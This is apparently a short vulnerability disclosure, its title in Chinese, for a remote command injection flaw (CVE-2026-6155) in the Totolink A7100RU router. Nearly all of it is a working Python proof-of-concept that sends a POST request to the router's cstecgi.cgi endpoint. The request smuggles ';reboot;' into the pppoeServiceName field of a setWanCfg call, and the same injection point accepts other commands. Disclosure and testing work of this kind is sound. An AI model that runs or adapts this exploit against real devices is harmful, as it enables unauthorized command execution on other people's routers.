CVE-2026-6155 Totolink A7100RU远程命令注入漏洞

import requests # Target IP address of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Malicious payload to inject OS command (e.g., reboot) # The semicolon is used to chain commands in shell payload = ";reboot;" data = { "topicurl": "setWanCfg", "pppoeServiceName": payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: # Send POST request to trigger the vulnerability response = requests.post(url, data=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")